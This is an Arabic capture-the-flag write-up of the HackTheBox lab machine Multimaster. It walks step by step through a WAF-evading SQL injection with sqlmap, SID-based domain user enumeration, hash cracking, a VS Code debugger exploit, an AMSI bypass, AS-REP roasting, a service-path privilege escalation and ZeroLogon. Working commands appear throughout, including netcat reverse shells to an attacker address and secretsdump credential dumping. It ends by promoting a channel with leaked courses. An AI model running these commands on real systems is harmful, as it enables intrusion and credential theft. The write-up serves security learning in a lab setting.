
مرحباً ، رالف معك. أستمر في نشر الحلول المرسلة لإنهاء الآلات من موقع HackTheBox .
هناك الكثير في هذا المقال. دعونا نرى كيفية الجمع بين Burp Suite و sqlmap للراحة ، وتعلم كيفية الحصول على مستخدمي المجال مع الوصول إلى MSSQL ، واستغلال ثغرة أمنية في Visual Studio Code ، وحظر AMSI ، وإجراء AS-REP Roasting للحصول على بيانات الاعتماد وزيادة الامتيازات من مجموعة Server Operators. وكدليل على ثغرة ZeroLogon الجديدة ، سنلتقط نفس الجهاز بطريقة مختلفة في أقل من 5 دقائق.
الاتصال بالمختبر عبر VPN. يوصى بعدم الاتصال من كمبيوتر العمل أو من مضيف توجد به بيانات مهمة بالنسبة لك ، حيث تجد نفسك في شبكة خاصة مع أشخاص يعرفون شيئًا عن أمن المعلومات.
المعلومات التنظيمية
ريكون
يحتوي هذا الجهاز على عنوان IP هو 10.10.10.179 ، والذي أقوم بإضافته إلى / etc / hosts.
10.10.10.179 multimaster.htb
الخطوة الأولى هي فحص المنافذ المفتوحة. نظرًا لأن مسح جميع المنافذ باستخدام nmap يستغرق وقتًا طويلاً ، فسوف أقوم بذلك أولاً باستخدام masscan. نقوم بفحص جميع منافذ TCP و UDP من واجهة tun0 بمعدل 500 حزمة في الثانية.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.179 --rate=500
العديد من المنافذ مفتوحة على المضيف. الآن دعنا نفحصها باستخدام nmap لتصفية وتحديد ما نحتاج إليه.
nmap multimaster.htb -p593,49674,139,5985,49744,445,636,80,49667,3268,464,389,53,135,88,9389,3269,49676,49666,49699,49675,3389
الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، قم بإجراء فحص باستخدام الخيار -A.
nmap -A multimaster.htb -p593,139,5985,445,636,80,3268,464,389,53,135,88,9389,3269,3389
مع SMB و LDAP لا يمكن فعل أي شيء ، فلنلق نظرة على الويب.
الموقع لديه إذن ، فضلا عن نموذج بحث.
علاوة على ذلك ، يعمل البحث عن طريق الدخول.
وبالتالي ، يمكننا أن نفترض أن عامل التشغيل LIKE يُستخدم في استعلام SQL. لذلك ، يمكنك محاولة عرض كافة السجلات.
اتضح أن لدينا حقن SQL.
لكن شيئًا ما على الأقل لا يعمل. على ما يبدو يستخدم WAF.
لكن تبين أنه تم تجاوزه بسبب استخدام ترميز Unicode.
ونوجد عدد الأعمدة.
لذا فإن الحقن 100٪.
Sqlmap + جناح التجشؤ
من أجل العمل بسهولة مع قاعدة البيانات ، نستخدم sqlmap. نحن نعرف طريقة الترميز ونظام إدارة قواعد البيانات - سوف نعكس ذلك في المعلمات. سنقوم أيضًا بحفظ الطلب من Burp Suite في ملف وتحديد sqlmap الخاص به. دعنا نحدد المستخدم الذي يتم تقديم الطلبات بموجبه.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --current-user
ولسوء الحظ ، حصلنا على نفس الإجابة دون استخدام الترميز. دعنا نحدد Burp كوكيل لـ sqlmap. ولكي لا نضيع الوقت ، سنشير إلى تقنية حقن الكود المعتمد على الاتحاد (المعامل U).
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --current-user
نعترض الطلبات في التجشؤ ، ونرى عرضًا مختلفًا قليلاً للتشفير.
دعنا نتحقق مما إذا كان يعمل. لنقم بترميز الحمل المعروف لنا بالفعل بهذه الطريقة.
وهو لا يعمل. لذلك نحن بحاجة إلى تغيير عرض الترميز. يمكن القيام بذلك باستخدام Burp. دعنا ننتقل إلى Proxy -> علامة التبويب options وإلى قسم Match and Replace.
دعنا نضيف قاعدة ستغير٪ u إلى \ u في نص الطلب.
وتأكد من أنه نشط.
الآن دعنا ننفذ sqlmap مرة أخرى.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --random-agent --current-user
في Burp ، نرى طلبًا مصححًا بالفعل.
السماح بالإرسال لجميع الطلبات. وفي sqlmap نحصل على اسم المستخدم الحالي.
لكن مرة أخرى نرى خطأ. على ما يبدو WAF. دعنا نضيف تأخيرًا لمدة 3 ثوانٍ ونكتشف الامتيازات.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --random-agent --privileges
لا يوجد شيء يمكننا القيام به. دعنا نتعرف على قواعد البيانات.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --dbs
دعونا نرى الجداول من Hub_DB.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB --tables
بالضبط ما هو مطلوب. جدول تسجيلات الدخول. دعنا نستخرج كل البيانات منه.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB -T Logins --dump
وهكذا ، لدينا مستخدمون وكلمات مرور. جميع التجزئات الأربعة المختلفة موجودة هنا. دعونا نكتشف أي منها.
سنكتشف الآن أوضاع التجزئة التي سنكررها.
هناك ثلاثة أوضاع في المجموع. وباستخدام الأخير ، نقوم بتقسيم ثلاث تجزئة.
hashcat -a 0 -m 17900 hashes.txt ./tools/rockyou.txt
لكن هذه التجزئات ليست مناسبة للشركات الصغيرة والمتوسطة. مزيد من الحفر.
المستعمل
حقيقة أنه يمكننا الحصول على البيانات من MSSQL يمنحنا القدرة على الحصول على مستخدمي المجال. الآن سوف أريكم كيفية القيام بذلك. بادئ ذي بدء ، نحتاج إلى الحصول على اسم المجال.
والآن نحتاج إلى معرفة SID الخاص به. يمكننا الحصول على معرّف الأمان (SID) الخاص بالمجال من خلال اكتشاف معرّف الأمان (SID) لأي كائن مجال وتجاهل RID منه. أي مجال لديه مجموعة Domain Admins. هذا يسمح لنا بالحصول على كائن موجود مسبقًا في المجال. دعنا نتعرف على SID الخاص به.
لذلك ، يتم ترميزها. لعرضه بشكل طبيعي ، استخدم الدالة sys.fn_varbintohexstr.
ونحصل على SID لهذا الكائن. علاوة على ذلك ، فإن الفكرة هي: نحصل على SID للمجال واستبدال RIDs المختلفة ، نحصل على أسماء المستخدمين بواسطة SID الحالي. على سبيل المثال ، RID الخاص بالمسؤول هو 500.
من SID المستلم ، خذ أول 48 بايت.
وأضف إلى النهاية ، RID - 500 (لا تنس قلبها).
والآن سنحصل على اسم الحساب بواسطة SID الخاص بنا.
نظرًا لأن هذا يعمل ، دعنا نحصل على كائنات المجال. للتكرار ، أستخدم Burp Intruder.
بعد إرسال طلب إلى Intruder ، قمنا بتخصيص متغيراتنا 4 بايت. بعد ذلك ، تحتاج إلى إنشاء هذه المتغيرات المكونة من 4 بايت.
for i in range(1100, 9100,1000):
for j in range(50):
h = hex(i+j)[2:].rjust(4,'0')
SID = ""
for c in (h[2:]+h[:2]):
SID += "0x" + hex(ord(c))[2:]
print(SID)
نحفظ النتيجة في ملف ونوجهها إلى Burp.
قم أيضًا بإيقاف تشغيل تشفير URL واستبدال كل 0x بـ \ u00.
تذكر حول WAF ، وضعنا دفقًا واحدًا والتأخير بين الطلبات.
نشن هجومًا ونفرز حسب طول الاستجابة ونلاحظ العديد من الأشياء.
حدد جميع المستخدمين واحفظ الملف. لدينا أيضًا ثلاث كلمات مرور. نحن نكرر SMB ونجد الزوج الصحيح.
نحن نتصل بـ WinRM ونحن في النظام.
USER2
بمجرد دخولنا النظام ، نقوم بالاستطلاع. أفعل هذا باستخدام winPEAS. نقوم بتحميله على الجهاز وتشغيله. لم يجدوا شيئًا مثيرًا للاهتمام هناك.
لذلك دعونا نسير في الطريق الصعب. نحتاج إلى الحصول على أكبر قدر ممكن من أوراق الاعتماد. لنبدأ بأسماء المستخدمين الموجودة على النظام.
نحن نحفظ كل شيء على أنفسنا في ملف. ولكن أين يمكننا أن نجد أي كلمة مرور؟ يستخدم الخادم قواعد البيانات وتحتاج إلى كلمة مرور للاتصال به. دعنا نحاول الحصول عليها.
لكن ليس لدينا حقوق في دليل خادم الويب. لا أعرف ماذا أفعل ، لم يتم إغلاق موقع البرنامج المستخدم على الخادم في قائمتي. لنلق نظرة على قائمة العمليات.
و VSCode يلفت الأنظار.
وبالتالي ، يعمل Visual Studio Code 1.37.1 على الخادم. ولها ثغرات تسمح بتنفيذ التعليمات البرمجية!
على النحو التالي من هنا :
يوجد ارتفاع في ثغرة أمنية في Visual Studio Code عندما يعرض مستمع تصحيح الأخطاء لمستخدمي الكمبيوتر المحلي.
يمكن للمهاجم إدخال تعليمات برمجية عشوائية ليتم تشغيلها في سياق المستخدم الحالي للقيام بذلك ، ويجب عليه تحديد المنفذ الذي يستمع إليه Visual Studio Code. يمكننا استخدام cefdebug للاتصال بمنفذ VSCode .
دعنا نجد منفذ الاستماع.
عظيم ، هناك مثل هذا الميناء. لنقم بتشغيل الكود في سياق عملية VSCode. دعنا ننفذ قذيفة backconnect باستخدام nc.
.\cefdebug.exe --url ws://127.0.0.1:43819/da4e5078-2eaf-4b30-bac1-96370f4d2b3d --code "process.mainModule.require('child_process').exec(cmd.exe /c C:\Temp\nc64.exe -e cmd.exe 10.10.15.60 4321)"
ونرى اتصالاً ناجحًا.
نذهب إلى دليلنا.
من بين كل ما تم تقديمه ، فإن API هو الأكثر أهمية. لنقم بتنزيله.
ذهبت إلى Windows وفحصت ما تمت كتابة المكتبة فيه.
هذا هو C # ، حتى نتمكن من فك المشروع. أنا أستخدم dnSpy.
وفي الكود المصدري نجد كلمة المرور. ولكن لمعرفة المستخدم ، نستخدم عمليات تسجيل الدخول بالقوة الغاشمة (رش كلمة المرور). أنا أستخدم CrackMapExec.
cme smb multimaster.htb -u users.txt -p "D3veL0pM3nT!"
ونأخذ مستخدمًا آخر
USER3
عند محاولة تنزيل أي أداة استخباراتية واستخدامها ، يتم حظرنا بواسطة AMSI. دعنا نصلحها باستخدام Invoke-AlokS-AvBypass .
الآن ، قم بتحميل Sharphound بأمان إلى المضيف.
وبعد البدء ، نراقب الأرشيف.
الآن نقوم بتنزيله على المضيف المحلي وإفلاته في كلب الصيد. بعد ذلك في الاستعلامات ، حدد أقصر المسارات إلى الأهداف عالية القيمة.
بالبحث في الرسم البياني ، نحدد العلاقة بين المستخدم تحت سيطرتنا ومستخدم آخر للمجال.
دعنا نحصل على معلومات الاتصال.
وبالتالي ، يمكننا الحصول على تجزئة لكلمة مرور المستخدم (تم وصف العملية نفسها بالفعل في عمليتي كتابة مشابهتين). نقوم بتمكين الخاصية - لا تتطلب مصادقة Kerberos المسبقة.
وسنقوم بتنفيذ الطلب.
انسخ التجزئة واكسرها باستخدام الهاشكات.
hashcat -a 0 -m 18200 krb_hashes.txt ./tools/rockyou.txt
نحصل على كلمة مرور المستخدم. ونحن نذهب تحتها بنجاح.
جذر
بعد تلقي معلومات حول المستخدم ، نلاحظ أنه عضو في مجموعة Server Operators.
يمكن لأعضاء هذه المجموعة تكوين وتشغيل الخدمات (والخدمات في Windows تعمل بالنيابة عن SYSTEM). يتم ذلك عادة من خلال SensorDataService.
دعنا نغير الأمر let إلى أمر قابل للتنفيذ إلى backconnect باستخدام netcat.
reg add "HKLM\System\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\nc64.exe -e powershell 10.10.15.60 4321" /f
وبعد بدء الخدمة ، نلاحظ وجود اتصال بالمنفذ 4321.
sc.exe start SensorDataService
نحن نظام.
CVE-2020-1472
والآن ، للتوضيح ، دعنا نحاول التقاط وحدة تحكم المجال على الفور ، حتى بدون نقطة دخول ودعم. للقيام بذلك ، نستخدم ثغرة ZeroLogon سيئة السمعة مؤخرًا (CVE-2020-1472).
بشكل عام ، تكمن الثغرة الأمنية CVE-2020-1472 في النقص في نظام مصادقة تشفير بروتوكول Netlogon البعيد. يستخدم هذا البروتوكول لمصادقة المستخدمين والآلات في الشبكات القائمة على المجال. على وجه الخصوص ، يتم استخدام Netlogon أيضًا لتحديث كلمات مرور الكمبيوتر عن بُعد. قد تسمح الثغرة الأمنية للمهاجم بانتحال صفة جهاز كمبيوتر عميل وإعادة تعيين كلمة مرور وحدة تحكم المجال.
للاختبار ، دعنا نحاول طلب نسخ بيانات الاعتماد باستخدام التجزئة 31d6cfe0d16ae931b73c59d7e0c089c0 (كلمة مرور فارغة).
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'
الآن دعونا نستخدم استغلال .
CVE-2020-1472.py MULTIMASTER MULTIMASTER$ 10.10.10.179
علمنا أن الهجوم كان ناجحًا. طلب نسخ بيانات الاعتماد مرة أخرى. ونحصل عليها.
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'
ومع تجزئة المسؤول ، يمكننا الاتصال عبر WinRM.
على وجه الخصوص ، هذه هي الطريقة التي يمكنك من خلالها التقاط وحدة تحكم المجال بناءً على:
- جميع إصدارات Windows Server 2019 و Windows Server 2016 ؛
- جميع متغيرات Windows Server ، الإصدار 1909
- Windows Server ، الإصدار 1903
- Windows Server ، الإصدار 1809 (Datacenter ، Standard)
- نظام التشغيل Windows Server 2012 R2
- Windows Server 2012
- Windows Server 2008 R2 Service Pack 1.
يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ودورات مسربة وبرامج. دعنا نجمع مجتمعًا يكون فيه أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي مشكلات تتعلق بتكنولوجيا المعلومات وأمن المعلومات.